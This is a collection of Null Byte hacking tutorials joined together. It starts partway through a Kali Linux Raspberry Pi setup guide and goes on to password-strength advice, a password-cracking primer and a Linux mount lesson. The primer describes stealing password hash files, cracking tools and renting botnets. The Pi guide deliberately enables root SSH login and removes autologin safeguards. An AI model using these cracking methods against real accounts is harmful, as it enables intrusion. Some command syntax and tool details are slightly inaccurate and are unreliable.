screenshot below (if you pressCtrl Ta few times during the transfer) when complete.Mashing Ctrl T to see the statusβ€”took 1,131 seconds to transfer!Step 3: Boot into Kali LinuxWhen finished, your SD card is ready to go! Insert the SD card into your Pi, connect it to HDMI, and attach your Bluetooth keyboard. Plug in the power source to boot into Kali Linux for the first time. To get to the desktop, your default login is "root" with "toor" being the password.Kali Pi with power, HDMI, Ethernet, Bluetooth receiver, and secondary wireless adapter attached.Image by SADMIN/Null ByteThe login process is a problem for autonomous control, and we will need to disable it later. This will let us plug our Pi in and immediately connect to it remotely without a screen.First boot of Kali.Image by SADMIN/Null ByteStep 4: Update Kali LinuxKali Linux is a special flavor of Debian Linux meant for penetration testing, and a favorite here on Null Byte. It's compatible with some of the best and most advanced tools available for wireless hacking, and flexible enough to support a large number of hacking builds. It's maintained by Offensive Security, and you'll need to update it to the latest version to make sure all the tools work properly.Before running, now is a good time to expand your installation to the size of the partition. To do so, run the following:resize2fs /dev/mmcblk0p2At the top right of the desktop, you'll see an option to connect to a nearby wireless network. Connect to your phone's hotspot or a friendly AP to fetch the update. Run the update by opening a terminal window and typing the following:apt-get update apt-get upgrade apt-get dist-upgradeYour Kali install is now up to date. Update the root password to something more secure than "toor" by typing:passwd rootThen enter a new password for your Kali Linux system.Step 5: Install OpenSSH ServerTo communicate with our Raspberry Pi from a computer or phone, we'll need to be able to log in. To do so, we can use SSH to connect via any Wi-Fi connection we share with the Pi. SSH, or the Secure Shell, is a network protocol that allows us to run commands remotely on a device. This means we don't need to plug in a screen to interact with our Pi.In a terminal, run the following to install openSSH server and update the runlevels to allow SSH to start on boot:apt-get install openssh-server update-rc.d -f ssh remove update-rc.d -f ssh defaultsThe default keys represent a huge vulnerability since anyone can guess them. Let's change them immediately by running the following commands:cd /etc/ssh/ mkdir insecure_old mv ssh_host* insecure_old dpkg-reconfigure openssh-serverThis backs up the old SSH keys in another folder and generates new keys. Problem solved! Now let's make sure we can log in via root by typing:nano /etc/ssh/sshd_configThis will open your SSH configuration folder. Change this line:PermitRootLogin without-passwordTo this line instead:PermitRootLogin yesAnd typeCtrl Oto save the changes. If it already is correct, you don't need to change anything.Configuring sshd_config.Great! Let's restart the SSH service by typing:sudo service ssh restart update-rc.d -f ssh enable 2 3 4 5Finally, to test that we've got SSH working, use the following to see if SSH is currently running.sudo service ssh statusWe should see something like this if we are successful.If it's not, run this to get it going:sudo service ssh startIf you find SSH doesn't work, you can useraspi-configas a workaround. It's meant for Jessie, but it'll work on Kali, too. To use it, first clone fromGitHub, typesudo mount /dev/mmcblk0p1 /bootto mount the boot partition,cdto the directory, and runsudo bash raspi-config.Step 6: Create a Custom MOTDOf course, the speed and power of your hacking computer is directly related to how cool your message of the day (MOTD) banner is. You will be greeted with this upon successful login, andtraditionally is used with some ASCII artto spice things up.Create your own by typing:Nano /etc/motdDelete the contents and paste whatever you want to show up each time you log in.Save and exit nano by hittingCtrl O, thenCtrl X.Step 7: Test Login via SSHLet's try logging in from your home computer or laptop. Connect the Pi to the same wireless network your home or work computer is on. Run the commandifconfigon your Pi in terminal to learn your IP address.ifconfigIn the comments, some people mentioned getting an error here. If so, try runningsudo apt-get install net-toolsto determine if you don't have net-tools installed. Runifconfigagain and see if it works. Thanks toN1GHTANG31for pointing this out!Here, our IP is seen as 10.11.1.144.On your personal computer, type:ssh root@(your IP address)You should see your MOTD screen!A simple MOTD on successful SSH login.If not, you can run anarp-scanon a Mac to see a list of all available devices on the network if you need to find your Pi's IP address from personal computer.Step 8: Configure Autologin for Headless OperationSometimes, we will want to be able to log into an account other than root. Let's create a new user named WHT (or whatever you like) with root permission by running:useradd -m WHT -G sudo -s /bin/bashChange WHT's (or whatever you named it) password to something more secure than "toor":passwd WHTGreat! Now let's disable that login from before so we can boot directly into Kali, and our wireless cards will start up and connect to allow us remote control. To do so, type:nano /etc/lightdm/lightdm.confAnd delete the # before these lines:autologin-user=root autologin-user-timeout=0Save and exit withCtrl X. Next, type:nano /etc/pam.d/lightdm-autologinAnd you'll need to change this starting on line 11:# Allow access without authentication auth required pam_succeed_if.so user != root quiet_success auth required pam_permit.soTo this:# Allow access without authentication ###auth required pam_succeed_if.so user != root quiet_success auth required pam_permit.soSave and exit, and type "reboot" into terminal to restart your Pi to test.Test Your Build Against This ChecklistIn order to be considered field ready, your device must pass this checklist:The device starts up, logs on without prompting for a password, and starts SSH at boot allowing remote access.The device connects to the command AP to enable remote control (does this by default after connecting the first time).Runbesside-ngscript on attack antenna to test packet injection (tutorial for this).The Pi can be shutdown without corruption to the data on the micro SD card (boots normally after shutdown).Pass all the requirements? Then your Raspberry Pi is ready to hit the road. I'll be writing a series of Pi-based builds, so keep up with me by building your own Raspberry Pi-based Kali Linux computer.UsingFluxionwith a Raspberry Pi and projector.Image by SADMIN/Null ByteDon't Miss:How to Hack Wi-Fi: Capturing WPA Passwords by Targeting Users with a Fluxion AttackFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableRaspberry Pi:Hacking PlatformHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Hack WPA WiFi Passwords by Cracking the WPS PINThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019Raspberry Pi:Physical Backdoor Part 1How To:Build a Pumpkin Pi β€” The Rogue AP & MITM Framework That Fits in Your PocketHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyNews:These Guys Hacked Together a Raspberry Pi & Car Steering Wheel to Play Mario KartHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterRaspberry Pi:MetasploitHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Install OpenVAS for Broad Vulnerability AssessmentHow To:Modify the USB Rubber Ducky with Custom Firmware
Advice from a Real Hacker: How to Create Stronger Passwords Β« Null Byte :: WonderHowTo
People who know that I am aprofessional hackeroften ask me what they can do to make their computers and personal information safe from people like me. The answer, of course, is that nothing will make you completely safe, but there are a number of measures any computer user can take to reduce the chances of being a victim of a hacker.Don't Miss:Diceware Gives You Truly Random Yet Easy-to-Memorize PasswordsWhy You Should Be Choosing Stronger PasswordsAs your password secures all of the resources on your system, including your email and other important online accounts (banking, brokerage, etc.), it's critical to choose a strong password that makes my job more difficult. Understand that there is NO password that I can't break given enough time and CPU cycles, but like anything else, I'll attack the low-hanging fruit first.Image viaShutterstockLet's begin by saying that hackers like me don't simply try to guess your password at your login screen. That would be impractical. Most login screens lock an attacker out after three incorrect attempts. I want to be able to try millions or billions of attempts.What attackers will do is steal thestorageof the passwords on a vulnerable system. These passwords are encrypted in the form of a hash, but once I have these hashes, which I can grab using tools likePwdump,Airodump-Ngand theMeterpreter, I can take as much time as I need to crack your password.The Best Way to Make Your Password Less AppetizingIdeally, you should choose a random set of characters that is the maximum length that your account or system will accept. The fundamental rule ofpassword crackingis that the longer the password, the longer is takes to crack. Then, change the password often, about every thirty days or so.I think it goes without saying that this ideal scenario is not a realistic scenario for most people. Given that, let's look at how you can better protect your system and accounts from hackers like me. Here is some advice on how to make my job as difficult as possible, while remaining practical.Step 1: Never Use Dictionary WordsEven a hacker with a minimal skill set can easily crack passwords that are found in the dictionary. You might think that your word or words are rather unique and obscure, but it doesn't take me very long to test every word and word combination in the dictionary. NEVER use a dictionary word!Image viaShutterstockEven if you add numbers and special characters, hacking tools likeCrunchwill let me create custom wordlists, and tools likeHashcat,Brutus,Cain and Abel,THC Hydra,John the Ripper,Ophcrack, andL0phtCrack, as well asAircrack-NgandCowpattyfor Wi-Fi, will help me crack the password using my wordlists.Using L0phtCrack to crack passwords.Image viaL0phtcrackStep 2: Use All of the Allowable Character TypesPassword cracking that tries all possibilities is calledbrute-force password cracking. It simply tries every possible combination of characters until it finds your particular password.It can require much time and computing resources to do so, but with recent developments in parallel processing, specialized password-cracking ASICs, and the use ofbotnets and GPUs, brute-force password cracking has made some giant leaps toward making even long, complex passwords more feasible to crack.(1) Bitfury boards by Black Arrow, (2) Butterfly Labs processor, (3) Inside the Butterfly Labs Monarch.Images viaBitcoin Talk,CoinDesk,GizmodoAs you might guess, brute-force password cracking is capable of eventually cracking any and all passwords, but the keyword here is "eventually." To protect yourself, you want to force the hacker to take long enough that they will give up and crack your colleague's or neighbor's easier password before they crack yours.To slow the hacker down, make certain that use at least one of every character type in creating your password. This means using at least one lowercase, one uppercase, one number, and one special character. This will force the hacker to include all of these characters into their brute-force cracking character set, thereby forcing them to take much, much longer to crack your password.To demonstrate, the amount of combinations that are possible with an all lowercase, 8-character password is 26 raised to the 8th power, or 208 billion. Albeit, that is a big number, but it is certainly possible for the hacker to run through that many possibilities in short order.If you use lowercase, uppercase, digits (0-9), and special characters, the number of possibilities that the hacker must try is 75 raised to the 8th power, or 1,001,129,150,390,625. That's 1 quadrillion possibilities! This translates into about 5,000-fold increase in the number of possibilities the hacker must try.To think of it another way, if the first password (8 characters, all lowercase) took 1 hour to crack, the second one would take 5,000 hours, or 208 days. That may be enough to frustrate the hacker.Step 3: Never Use Just NumbersNEVER use a numeric password without any letters or special characters. You are making things way too easy for me!Never just use your number pad. NEVER.Image viaShutterstockSince there are only 10 digits (0–9) in our base 10 number system, even a numbered password with 10 characters only amounts to 10 billion possibilities to brute-force. Compare that to an eight-character all lowercase password with 208 billion combinations, and it would be 20 times easier to crack your 10-digit numerical password than the 8-character lowercase one.That's simply child's play! Give me more of a challenge than that!Step 4: Change Your Password OftenIt's important to change your password often. "Often" is a relative term and it will depend upon the value of the information being secured by the password. If it is an email or online bank account, you might want to change your password every three months. Other passwords, such as your accounts on non-financial websites, once every six months or year is probably sufficient.The reason you need to change your passwords periodically is that hackers like me are always gathering passwords from accounts all over the world. We may not use them immediately, or we may sell them to someone who hasn't done anything with it yet. Your password may be compromised and you don't even know it yet.By changing it periodically, you significantly reduce the chances of someone like me compromising your account, even if the website/domain has been hacked.Step 5: Use Different Passwords on Different AccountsYour passwords are stored all over the world in various accounts, websites, domains, etc. If you use the same password on all of your accounts, your information is only as secure as the weakest system storing your password.Imagine a case where you find a website or a game online that you think is fun and entertaining. They ask you to create an account and a password. This might be a new company or a big company, but if they don't secure their systems adequately, someone will hack their system and steal yours and all of the other accounts' passwords.As a hacker, I may not have any interest in your account on that website, but I will try it on your bank account, credit card account, email account, brokerage account, and so forth. If they are all the same, I have struck GOLD!The rule here is to use different passwords on different types of accounts. You might create one password for all of your highly confidential accounts, and one password for all the other accounts. That way, if that online game site gets hacked, I can't take that password and get into your bank account.Step 6: Create a PassphraseProbably, the method that will frustrate hackers like me the most, is to develop a passphrase that is long and includes no words and all of the available character types.I have seen many articles online that advise folks on how to create passphrases and I simply laugh at them because I know that their advice will simply create a passphrase that is still easy for me to crack. Things like adding a date and month after a word, reversing the order of dictionary words, and so on just beg to be cracked in short order.Here is what will make my job most difficult.First, create a phrase or sentence that is meaningful to you. In this way, it will be easy to remember. For instance, "I love mountain biking and hiking." Now, take that phrase and convert it into single string of uppercase, lowercase, numbers, and special characters, like this one:"I<3mtnb1K1ng&H1k1ng" may not be an impossible passphrase to crack, but it's definitely harder.Image viaShutterstockNote that I have converted "love" to<3, "mountain" tomtn, "biking" tob1K1ng, "and" to&, and finally, "hiking" toH1k1ng. It is critical to intersperse special characters and numbers into the passphrase as well as use both upper- and lowercase letters.This creates an 18-character passphrase that uses uppercase, lowercase, special characters, and numbers that, although not unbreakable, would make someone like me invest significant time and computing resources to crack it.Most importantly, because it has special significance to you, you will remember it. Obviously, this is key. No matter how complex, passwords or passphrases that you can't remember defeat the whole purpose.That's because people often write down passwords they can't remember and hackers like me will often find your passwords on a sticky note near your desk. Usually in the top drawer, under the keyword, stuck to monitor... you get the picture.Now, How Do You Feel About Your Passwords?I hope this advice makes my job as difficult as possible to crack YOUR passwords, but thankfully, so many people won't take this advice that I know there will always plenty of easy pickings among your neighbors and colleagues.And trust me, I have many ways to crack your password. Just check out mypassword cracking seriesor myWi-Fi hacking seriesto get an idea.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Really Protect Your Encrypted iPhone Backups in iOS 11 from Thieves & HackersNews:'Turkish Crime Family' Demands $75,000 in Bitcoin from Apple in Exchange for Hacked iPhone AccountsNews:The 25 Worst Passwords That People Used in 2015News:Apple Says iPhone & iCloud Are Safe After Claimed Breach by 'Turkish Crime Family'Advice from a Real Hacker:How to Protect Yourself from Being HackedHow To:Dashlane & LastPass Can Now Automatically Strengthen All of Your Weak PasswordsHow To:Use Wordlister to Create Custom Password Combinations for CrackingTelegram 101:How to Password-Protect Your Chats for Extra SecurityTypoGuy Explaining Anonymity:A Hackers MindsetHow To:Secure Your Instagram Account by Adding 2-Factor Authentication & Managing Privacy SettingsHow To:Create a Strong (Or Stronger) Passcode for Your iPhoneSamsung Internet 101:How to Password-Protect Your Private Browsing SessionsHow To:Enable Two-Step Verification on Your Apple ID for iCloud, App Store, & iTunesHow To:8 Passcode Tips for Keeping Hackers & Law Enforcement Out of Your iPhone for GoodHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHow To:Purge Your Inbox of Account Passwords with Dashlane's Email Security ScannerHow To:4 Apps to Help Keep Your Android Device SecureHow To:Find & Change Weak Reused Passwords to Stronger Ones More Easily in iOS 12How To:The Beginner's Guide to Defending Against Wi-Fi HackingMac for Hackers:How to Create an Encrypted Disk ImageHow To:Diceware Gives You Truly Random Yet Easy-to-Memorize PasswordsHow To:Get Your Hacked Facebook Account Back.Hacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyNews:Stronger PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsMastering Security, Part 1:How to Manage and Create Strong PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerGoodnight Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingWTFoto Image Macro Challenge:Give Us Your Best Hobo Advice!
Hack Like a Pro: How to Crack Passwords, Part 1 (Principles & Technologies) Β« Null Byte :: WonderHowTo
Welcome back, my neophyte hackers!I have already done a few tutorials on password cracking, including ones forLinuxandWindows,WEPandWPA2, and even online passwords usingTHC Hydra. Now, I thought it might be worthwhile to begina series on password crackingin general. Password cracking is both an art and a science, and I hope to show you the many ways and subtleties involved.We will start with the basic principles of password cracking that are essential to ALL password cracking techniques, followed by some of the tools and technologies used. Then, one by one, I will show you how to use those principles and technologies effectively to crack or capture the various types of passwords out there.The Importance & Methods of Password CrackingPasswords are the most widely used form of authentication throughout the world. A username and password are used on computer systems, bank accounts, ATMs, and more. The ability to crack passwords is an essential skill to both the hacker and theforensic investigator, the latter needing to hack passwords for accessing the suspect's system, hard drive, email account, etc.Although some passwords are very easy to crack, some are very difficult. In those cases, the hacker or forensic investigator can either employ greater computing resources (a botnet, supercomputer, GPU, ASIC, etc.), or they can look to obtain the password in other ways.These ways might include insecure storage. In addition, sometimes you don't need a password to access password-protected resources. For instance, if you can replay a cookie, session ID, a Kerberos ticket, an authenticated session, or other resource that authenticates the user after the password authentication process, you can access the password protected resource without ever knowing the password.Sometimes these attacks can be much easier than cracking a complex and long password. I will do a tutorial on various replay attacks in the near future (look out specifically for my upcoming article on stealing the Facebook cookie to access someone's Facebook account).Now, let's start with the basics.Step 1: Password StorageIn general, passwords are not stored in clear text. As a rule, passwords are stored as hashes. Hashes are one-way encryption that are unique for a given input. These systems very often use MD5 or SHA1 to hash the passwords.In the Windows operating system, passwords on the local system are stored in theSAMfile, while Linux stores them in the/etc/shadowfile. These files are accessible only by someone with root/sysadmin privileges. In both cases, you can use a service or file that has root/sysadmin privileges to grab the password file (e.g. DLL injection with samdump.dll in Windows).Step 2: Types of AttacksDictionaryA dictionary attack is the simplest and fastest password cracking attack. To put it simply, it just runs through a dictionary of words trying each one of them to see if they work. Although such an approach would seem impractical to do manually, computers can do this very fast and run through millions of words in a few hours. This should usually be your first approach to attacking any password, and in some cases, it can prove successful in mere minutes.Rainbow TableMost modern systems now store passwords in a hash. This means that even if you can get to the area or file that stores the password, what you get is an encrypted password. One approach to cracking this encryption is to take dictionary file and hash each word and compare it to the hashed password. This is very time- and CPU-intensive. A faster approach is to take a table with all the words in the dictionary already hashed and compare the hash from the password file to your list of hashes. If there is a match, you now know the password.Brute ForceBrute force is the most time consuming approach to password cracking. It should always be your last resort. Brute force password cracking attempts all possibilities of all the letters, number, special characters that might be combined for a password and attempts them. As you might expect, the more computing horsepower you have, the more successful you will be with this approach.HybridA hybrid password attack is one that uses a combination of dictionary words with special characters, numbers, etc. Often these hybrid attacks use a combination of dictionary words with numbers appending and prepending them, and replacing letters with numbers and special characters. For instance, a dictionary attack would look for the word "password", but a hybrid attack might look for "p@$$w0rd123".Step 3: Commonly Used PasswordsAs much as we think each of us is unique, we do show some common patterns of behavior within our species. One of those patterns is the words we choose for passwords. There are number of wordlists that have been compiled of common passwords. In recent years, many systems have been cracked and passwords captured from millions of users. By using these already captured passwords, you are likely to find at least a few on the network you are trying to hack.Step 4: Password Cracking StrategyMany newbies, when they start cracking passwords, simply choose a tool and word list and then turn them loose. They are often disappointed with the results. Expert password crackers have a strategy. They don't expect to be able to crack every password, but with a well-developed strategy, they can crack most passwords in a very short amount of time.The key to develop a successful strategy of password cracking is to use multiple iterations, going after the easiest passwords with the first iteration to the most difficult passwords using different techniques for each iteration.Step 5: Password Cracking SoftwareJohnJohn the Ripperis probably the world's best known password cracking tool. It is strictly command line and strictly for Linux. Its lack of a GUI makes a bit more challenging to use, but it is also why it is such a fast password cracker.One of the beauties of this tool is its built in default password cracking strategy. First, attempts a dictionary attack and if that fails, it then attempts to use combined dictionary words, then tries a hybrid attack of dictionary words with special characters and numbers and only if all those fail will it resort to a brute force.OphcrackOphcrack is a free rainbow table-based password cracking tool for Windows. It is among the most popular Windows password cracking tools (Cain and Abel is probably the most popular; see below), but can also be used on Linux and Mac systems.Image by Ysangkok/Wikimedia CommonsIt cracks LM and NTLM (Windows) hashes. For cracking Windows XP, Vista and Windows 7, you can download free rainbow tables. You can download Ophcrack onSourceForge, and you can get some free and premium rainbow tables for Ophcrackhere.L0phtCrackL0phtCrack is an alternative to Ophcrack, and attempts to crack Windows passwords from hashes in the SAM file or the Active Directory (AD). It also uses dictionary and brute force attacks for generating and guessing passwords.Image viaL0phtCrackL0phtCrack was acquired by Symantec and they promptly discontinued it in 2006. Later, L0phtCrack developers re-acquired this excellent password cracking tool and re-released it in 2009. You can download the toolhere.Cain and AbelCain and Abeljust might be the best known password cracking tool on the planet. Written strictly for Windows, it can crack numerous hash types, including NTLM, NTLMv2, MD5, wireless, Oracle, MySQL, SQL Server, SHA1, SHA2, Cisco, VoIP, and many others.Cain and Abel can crack passwords using a dictionary attack, rainbow attack, and brute force. One of its better features is the ability to select the password length and character set when attempting a brute force attack. And besides being an excellent password cracking tool, it is also a greatARP PoisoningandMiTMtool.THC-HydraTHC-Hydrais probably the most widely used online hacking tool. It is capable of cracking web form authentication, and when used in conjunction with other tools such as Tamper Data, it can be a powerful and effective tool for cracking nearly every type of online password authentication mechanism.The initial help screen for Hydra.BrutusBrutus is an online password cracking tool that many consider the fastest online password cracker. It is free and available on both Linux and Windows, and it supports password cracking in HTTP (Basic Authentication), HTTP (HTML Form/CGI), POP3, FTP, SMB, Telnet, and other types such as IMAP, NNTP, NetBus, etc.Brutus has not been updated in quite awhile, but it can still be useful and since it is open source, you can update it yourself. Brutus can be downloadedhere.Aircrack-NgIn my humble opinion,aircrack-ngis undoubtedly the best all-around Wi-Fi hacking software available. It is capable of cracking bothWEPandWPA2, and it is also capable of doing the following, among many other things.Creating a Soft APCreating an Evil TwinCreating a Rogue APConducting a DOS attack against a Wi-Fi APIt is only available for Linux and requires a bit of a learning curve to master, but you will be richly rewarded for the time spent learning it. In addition, to be most effective you will need to usean aircrack-ng compatible wireless card, so check their extensive list before buying your card. You can find more info on aircrack-ng over inmy Wi-Fi hacking series.Aircrack-ng is built intoBackTrackandKaliand can be downloadedhere.Step 6: Password Cracking HardwareBotnetPassword cracking is simply a function of brute force computing power. What one machine can do in one hour, two machines can do in a half hour. This same principle applies to using a network machines. Imagine what you can do if you could access a network of one million machines!Some of the botnets available around the globe are more than a million machines strong and are available for rent to crack passwords. If you have a password that might take one year to crack with your single CPU, a million-machine botnet can cut that time to approximately 1 millionth the time, or 30 seconds!GPUGPUs, or graphical processing units, are much more powerful and faster than CPU for rendering graphics on your computerandfor cracking passwords. We have a few tools built into Kali that are specially designed for using GPUs to crack passwords, namely cudahashcat, oclhashcat, and pyrit. Look for coming tutorials on using these tools and the GPU on your high-end video card to accelerate your password cracking.ASICIn recent years, some devices have been developed specifically for hardware cracking. These application-specific devices can crack passwords faster than over 100 CPUs working symmetrically.(1) Bitfury boards by Black Arrow, (2) Butterfly Labs processor, (3) Inside the Butterfly Labs Monarch.Images viaBitcoin Talk,CoinDesk,GizmodoBlack Arrow SoftwareandButterfly Labs, among others, are now selling these devices for prices up to $1500 per.That concludes our beginning lesson on the basics of general password cracking. Stay tuned formore lessonsas we go more in-depth with specific examples of using some of the tools and methods we have just covered above.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaAurich Lawson/ArsTechnicaRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)Hack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Crack User Passwords in a Linux SystemHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHow To:Use Wordlister to Create Custom Password Combinations for CrackingHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)News:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Hack WPA WiFi Passwords by Cracking the WPS PINAdvice from a Real Hacker:How to Create Stronger PasswordsHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Recover Passwords for Windows PCs Using OphcrackHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)How To:Crack Shadow Hashes After Getting Root on a Linux SystemHow To:Diceware Gives You Truly Random Yet Easy-to-Memorize PasswordsHow To:Hack WPA/WPA2-Enterprise Part 2Rainbow Tables:How to Create & Use Them to Crack PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:GPU Accelerate Cracking Passwords with HashcatMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Hack Mac OS X Lion PasswordsHow To:Recover WinRAR and Zip PasswordsSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsGoodnight Byte:Coding a Web-Based Password Cracker in PythonCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:The Official Google+ Insider's Guide IndexHow To:How Hackers Steal Your Internet & How to Defend Against It
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices) Β« Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!One of those areas ofLinuxthat Windows users invariably struggle with is the concept of "mounting" devices and drives. In the Windows world, drives and devices are automatically "mounted" without any user effort or knowledge. Well, maybe a bit of knowledge. Most Windows users know to unmount their flash drive before removing it, but they usually think of it as "ejecting" it.The mount command has a history back to the prehistoric days of computing (the 1970s) when computer operators physically mounted tape drives to the the behemoth, gymnasium-sized computers. These tape drives were the storage medium of choice (as hard drives had not been invented yet) and the operator had to tell the machine that they were mounting the tape before it could be read.Windows generally auto-mounts drives and devices with the PnP service, so users don't need to think about mounting. Each drive or device then is assigned with a letter mount point such as C:, D:, E:, etc.In more recent distributions of Linux, auto-mount is often enabled as well, but the true Linux admin needs to understand the mount command and the mounting process as they will someday need to mount a device or drive that does not auto-mount. This is true for the everyday ordinary sysadmin in Linux and especially true for the digital forensic investigator and hacker as many times the devices will not be automatically mounted.Step 1: File StructureRemember, Linux has a single tree structure for its file system (unlike Windows) with a root for every drive and device. This means that all drives and devices are part of a single filesystem tree with / at the top. Any other drives must be "mounted" to this tree. We can do this with the mount command.When we mount a device, we mount it to a directory and it becomes part of the tree. We can mount a device to ANY directory, but when we do so, that directory that we mount our device to is "covered" and unavailable to us. This means we can't access any of the files in that directory. It goes without sayingβ€”I thinkβ€”that's not good. That's why we have special, empty directories for mounting devices. These will vary by distribution of Linux, but generally they are /mnt and /media.Step 2: Mount CommandLet's take a look at the mount command. Type in:mount -hThis brings up the help screen displayed below.I have highlighted the crucial part regarding the syntax of the command. Basically, it is:mount -t filesystemtype locationThis command will "mount" a filesystem of the type (-t) at the location specified. So, for instance, we could mount cdrom at the media directory by typing:mount -t /dev/cdrom /mediaThis will mount the cdrom device at the /media directory on the filesystem tree.We also have numerous options we can use when mounting a device including:rw- mount read/writero- mount read onlyuser- permit any user to mountauto/noauto- file system will or will NOT automatically mountexec/noexec- permit or prevent the execution of binaries on the mounted deviceAs always, you can check the man page formountto learn all the options:man mountStep 3: Setting Up Automounting with FstabThe fstab is the "Filesystemtable". It a system configuration file in Linux. The mount command reads the fstab to determine what options to use when mounting a filesystem. In this way, it defines the options automatically when we mount the device. It simply reads the entry in the fstab table for that device and applies those options defined there.As we can see in the screenshot above, we have simply displayed the contents of fstab with the cat command.cat fstabThe fstab table is comprised of six (6) columns. These are:Device- the UUIDMount point- the directory where we want to attach the deviceType- the filesystem type such ext2, ext3, swap, ISO9660, etc.Options- these rw (read/write), auto, nouser, async, suid, etcDump- indicates how often to backup the devicePass- specifies the pass when fsck should check the filesystemStep 4: UmountWhen want to unmount a drive or device, the command we use isumount(that's right. I didn't spell it wrong. It is umount, not unmount).To unmount our cdrom device that we mounted above, we type:umount /dev/cdromYou can NOT unmount a drive or device that is currently being used by the system.Keep coming back to Null Byte, my hacker apprentices, for more tutorials on hacking andthe basics of Linuxthat you need to know to "Hack Like a Pro."Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off 